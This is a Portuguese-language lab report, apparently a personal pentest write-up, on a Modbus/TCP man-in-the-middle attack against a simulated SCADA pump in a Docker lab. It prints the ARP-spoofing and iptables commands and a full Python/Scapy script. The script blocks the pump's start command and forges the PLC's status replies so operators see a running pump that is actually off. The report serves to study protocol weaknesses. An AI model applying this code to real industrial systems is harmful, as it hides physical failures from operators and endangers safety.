

Testes: Man in the middle

🕒 Created 16 de dezembro de 2025 23:02

Manipulação de Processo SCADA via Modbus MitM

Autora: Letícia Matos

Data: 16/12/2025

Ambiente: Labshock (Docker)

Escopo: Bomba Centrífuga 01 (Pump 1)

1. Introdução

1.1 Motivação

Demonstrar a vulnerabilidade do protocolo Modbus/TCP através da implementação de um ataque *Man-in-the-Middle* (MitM).

1.2 Objetivos

Demonstrar, em ambiente controlado, a capacidade de:

1. **Bloqueio Físico:** Interceptar o comando de acionamento da bomba, impedindo seu funcionamento real.
2. **Falsificação de Estado:** Retornar ao operador (SCADA) confirmações falsas de que a bomba está ligada.
3. **Consistência de Estado:** Manter a ilusão ativa apenas quando o operador solicita, permitindo o desligamento normal (visual) para evitar suspeitas.
4. **Isolamento de Falha:** Garantir que outros equipamentos (Bomba 2) continuem operando normalmente, evitando travamentos no sistema (DoS accidental).

2. Escopo e Premissas

2.1 Escopo do Teste

- Equipamento alvo: Bomba Centrífuga 01;
- Protocolo analisado: Modbus/TCP (porta TCP 502);
- Componentes envolvidos: SCADA, PLC e nó atacante;
- Ambiente: laboratório virtualizado em Docker.

2.2 Fora de Escopo

- Ataques de negação de serviço (DoS);
- Persistência no PLC;
- Exploração de firmware ou hardware;
- Comprometimento do sistema SCADA.

2.3 Premissas do Ambiente

- Comunicação Modbus sem criptografia ou autenticação;
- Rede local sem segmentação avançada;
- Capacidade de posicionamento do atacante como MitM.

3. Ambiente de Testes

3.1 Infraestrutura & Limitações do Ambiente

O ambiente de testes foi implementado utilizando containers Docker, simulando os componentes típicos de uma arquitetura SCADA. Um container dedicado foi utilizado como nó atacante, responsável pela interceptação e manipulação do tráfego Modbus. O container de testes (`labshock-pentest-1`) era uma imagem mínima, desprovida de bibliotecas essenciais (`iptables` , `scapy` , `netfilterqueue`) e com repositórios desatualizados. A tentativa de instalação direta falhava por falta de conexão externa na rede interna do laboratório.

3.2 Preparação do Ambiente

Para viabilizar o ataque, foi necessário conectar temporariamente o container à internet externa, atualizar os repositórios e instalar dependências de compilação e bibliotecas Python. Após a preparação, o container foi novamente isolado da internet.

Comando Executado:

```
docker network connect bridge labshock-pentest-1 && ^
docker exec -u 0 labshock-pentest-1 apt-get update --fix-mi
ssing && ^
docker exec -u 0 labshock-pentest-1 apt-get install -y buil
d-essential libnetfilter-queue-dev libnfnetlink-dev python3
-dev python3-pip && ^
docker exec -u 0 labshock-pentest-1 pip3 install NetfilterQ
ueue scapy --break-system-packages && ^
docker network disconnect bridge labshock-pentest-1 && ^
docker restart labshock-pentest-1
```

4. Metodologia

4.1 Modelo de Ataque

Para posicionar o nó atacante entre o sistema SCADA (`192.168.3.20`) e o PLC, foram utilizadas ferramentas distintas, executadas em terminais paralelos. Empregou-se envenenamento ARP (*ARP Poisoning*) para desviar o tráfego Modbus/TCP entre o SCADA e o PLC através da máquina atacante, caracterizando um ataque do tipo *Man-in-the-Middle*..

4.2 Terminal 1 - Envenenamento ARP (Layer 2)

Forçou-se o tráfego do SCADA a passar pela máquina atacante antes de ir ao Gateway/PLC.

```
docker exec -it labshock-pentest-1 /bin/bash
arpspoof -i eth0 -t 192.168.3.20 -r 192.168.3.25
```

4.3 Terminal 2 - Redirecionamento de Pacotes (Layer 3)

Utilizou-se o `iptables` para capturar os pacotes que passavam pela máquina e enviá-los para a fila 0 (Queue 0), onde o script Python faria a análise.

```
docker exec -it labshock-pentest-1 /bin/bash
```

```
iptables -I FORWARD -j NFQUEUE --queue-num 0
```

5. Desenvolvimento do Exploit (Engenharia Reversa)

5.1 Estratégia & Controle de Estado

O exploit foi projetado para bloquear fisicamente o acionamento da bomba enquanto falsificava as respostas de confirmação e os estados operacionais enviados ao SCADA. Para isso, foi implementado um mecanismo interno de controle de estado (`fake_mode`), responsável por determinar quando as respostas do PLC deveriam ser manipuladas, garantindo consistência visual apenas durante solicitações explícitas do operador.

5.2 Mecanismos de Proteção

Para evitar efeitos colaterais, o script aplica modificações apenas a pacotes que atendem simultaneamente aos seguintes critérios:

- Identificador de unidade igual a 01;
- Endereço de memória específico da Bomba 1;
- Função Modbus correspondente.

5.3 Implementação do Script "Espião"

Foi desenvolvido um script inicial em Python utilizando `Scapy` apenas para "escutar" (*sniffing*) e imprimir os *payloads* brutos (*Raw Data*) trafegando na porta TCP 502, sem realizar modificações.

```
from netfilterqueue import NetfilterQueue
from scapy.all import *

def process_packet(packet):
    # Converte o pacote capturado para objeto Scapy
    scapy_packet = IP(packet.get_payload())

    # Verifica se o pacote possui camada TCP e Dados (Raw)
    if scapy_packet.haslayer(TCP) and scapy_packet.haslayer
(Raw):
```

```

        payload = scapy_packet[Raw].load
        hex_data = payload.hex() # Converte bytes para Hexa
        decimal legível

        # Filtra tráfego da porta 502 (Modbus)

        # Caso 1: SCADA enviando Comando para o PLC (Destino
        # 502)
        if scapy_packet[TCP].dport == 502:
            print(f"[IDA - SCADA] Payload: {hex_data}")

        # Caso 2: PLC respondendo Status para o SCADA (Origem
        # 502)
        elif scapy_packet[TCP].sport == 502:
            # Filtramos mensagens muito curtas para focar n
            # os dados relevantes
            print(f"[VOLTA - PLC] Payload: {hex_data}")

        # Importante: Aceita o pacote para não travar o sistema
        # durante a análise
        packet.accept()

# Configuração da Fila
queue = NetfilterQueue()
queue.bind(0, process_packet)
print("[*] Modo Espião Ativado: Capturando Hexdump do Modbus...")
queue.run()

```

5.4 Captura de Padrões de Polling

Como o protocolo Modbus opera em um ciclo constante de pergunta e resposta (*polling*), foi observado o terminal enquanto o sistema estava em repouso (Bomba Desligada).

- **DESLIGAR:** Identifiquei a assinatura `01 05 00 00 00 00` (Endereço 0, Valor 00/Off).

5.7 Identificação de Assinaturas de Telemetria

Além dos status discretos, observou-se pacotes maiores contendo telemetria (velocidade, temperatura). Ao comparar os logs de "Bomba OFF" versus "Bomba ON", notou-se uma mudança constante no final do pacote:

- **OFF:** Finalizava com `10 0e e0`.
- **ON:** Finalizava com `11 12 fa`.

Conclusão da Análise: Com esses três vetores identificados (Byte de Status `08/07`, Assinatura de Comando `FF00/0000` e Sufixo de Dados), programou-se o script para buscar e substituir essas sequências exatas em tempo real.

1. Comando Ligar (SCADA → PLC):

- Assinatura: `Unit 01 | Func 05 | Addr 00 00 | Val FF 00`

2. Comando Desligar (SCADA → PLC):

- Assinatura: `Unit 01 | Func 05 | Addr 00 00 | Val 00 00`

3. Status Visual (PLC → SCADA):

- Identificou-se que o status das válvulas e bomba reside no byte de resposta da Função 02.
- Valor `08` (Bomba OFF / Válvula Recirculação Aberta).
- Valor `07` (Bomba ON / Válvulas Fluxo Abertas).

Desafio Encontrado: Versões anteriores do script corrompiam o funcionamento da **Bomba 2** ao alterar pacotes genéricos.

Solução Final: Implementou-se uma verificação estrita (`Strict Mode`) que só altera pacotes que começam explicitamente com `\x01` (ID da Bomba 1) e possuem o endereço `00 00`.

5.8 Desenvolvimento final

Este é o script V5 que implementa a lógica de estado (`fake_mode`) e proteção contra colisão de memória.

```
from netfilterqueue import NetfilterQueue
from scapy.all import *
```

```

# Variável de Estado Global
# False = Operador vê a realidade (OFF)
# True  = Operador vê a ilusão (ON)
fake_mode = False

def process_packet(packet):
    global fake_mode
    scapy_packet = IP(packet.get_payload())

    # Verifica se é pacote TCP com dados (Raw Payload)
    if scapy_packet.haslayer(TCP) and scapy_packet.haslayer(
(Raw)):
        payload = scapy_packet[Raw].load

        # === [IDA] COMANDOS (SCADA -> PLC) ===
        if scapy_packet[TCP].dport == 502:
            # COMANDO LIGAR BOMBA 1: (Unit 01, Func 05, Addr
r 0000, Val FF 00)
            if b'\x01\x05\x00\x00\xff\x00' in payload:
                print("[COMANDO] LIGAR Bomba 1. Bloqueando
físico + Ativando Ilusão.")
                fake_mode = True

            # Payload Injection: Troca FF 00 (ON) por 0
0 00 (OFF)

            new_payload = payload.replace(b'\x01\x05\x0
0\x00\xff\x00', b'\x01\x05\x00\x00\x00\x00')
            scapy_packet[Raw].load = new_payload

            # Recalcula checksums e tamanhos
            del scapy_packet[IP].len
            del scapy_packet[IP].chksum
            del scapy_packet[TCP].chksum
            packet.set_payload(bytes(scapy_packet))

            # COMANDO DESLIGAR BOMBA 1: (Unit 01, Func 05,
Addr 0000, Val 00 00)

```



```

        elif b'\x01\x05\x00\x00\x00\x00' in payload:
            print("[COMANDO] DESLIGAR Bomba 1. Desativa
ndo Ilusão.")

            fake_mode = False
            # Permite a passagem do comando original

# === [VOLTA] FEEDBACK (PLC -> SCADA) ===
        elif scapy_packet[TCP].sport == 502:
            # Só aplicamos a falsificação se o modo de ilus
            ão estiver ATIVO
            if fake_mode:
                # 1. MENTIRA DA CONFIRMAÇÃO (Write Coil Res
                ponse)

                # 0 PLC diz "Desliguei" (00 00). Nós trocam
                os para "Liguei" (FF 00).
                if b'\x01\x05\x00\x00\x00\x00' in payload:
                    new_payload = payload.replace(b'\x01\x0
                    5\x00\x00\x00\x00', b'\x01\x05\x00\x00\xff\x00')
                    scapy_packet[Raw].load = new_payload

                    del scapy_packet[IP].len
                    del scapy_packet[IP].chksum
                    del scapy_packet[TCP].chksum
                    packet.set_payload(bytes(scapy_packet))

                # 2. MENTIRA VISUAL (Discrete Inputs - Stat
                us das Válvulas)
                # Byte 08 (OFF) -> Byte 07 (ON)
                if b'\x01\x02\x02\x08' in payload:
                    # print("[VISUAL] Forçando Luz Verde")
                    new_payload = payload.replace(b'\x01\x0
                    2\x02\x08', b'\x01\x02\x02\x07')
                    scapy_packet[Raw].load = new_payload

                    del scapy_packet[IP].len
                    del scapy_packet[IP].chksum
                    del scapy_packet[TCP].chksum
                    packet.set_payload(bytes(scapy_packet))

```

```
packet.accept()

queue = NetfilterQueue()
queue.bind(0, process_packet)
print("[*] Stuxnet Mode: Pronto para operação.")
queue.run()
```

6. Procedimento de Teste e Resultados

6.1 Execução

Com o envenenamento ARP ativo no Terminal 1, o script de interceptação foi iniciado no Terminal 2 por meio do comando:

```
python3 mitm.py
```

6.2 Acionamento da Bomba (LIGAR)

- **Ação:** Operador clica em "Start Pump 1" no SCADA.
- **Log do Script:** [COMANDO] LIGAR Bomba 1. Bloqueando físico + Ativando Ilusão.
- **Resultado Visual:** O ícone da Bomba 1 fica **VERDE**. A chave seletora muda para ON.
- **Resultado Físico:** O medidor **Flow Rate** permanece baixo/zero. A bomba real não acionou.

6.3 Verificação Colateral

- **Ação:** Operador interage com a **Bomba 2**.
- **Resultado:** A Bomba 2 liga e desliga normalmente, provando que o ataque é cirúrgico e não afeta outros endereços de memória do PLC.

6.4 Encerramento (DESLIGAR)

- **Ação:** Operador clica em "Stop Pump 1".
- **Log do Script:** [COMANDO] DESLIGAR Bomba 1. Desativando Ilusão.
- **Resultado Visual:** O ícone da Bomba 1 volta para **CINZA** imediatamente.

7. Conclusão

O experimento demonstrou que é possível explorar vulnerabilidades inerentes ao protocolo Modbus/TCP para criar uma dissociação completa entre a interface homem-máquina (HMI) e o processo físico. O ataque permitiu a manipulação silenciosa de comandos e estados operacionais, mantendo a operabilidade aparente do sistema e evitando impactos colaterais em equipamentos adjacentes.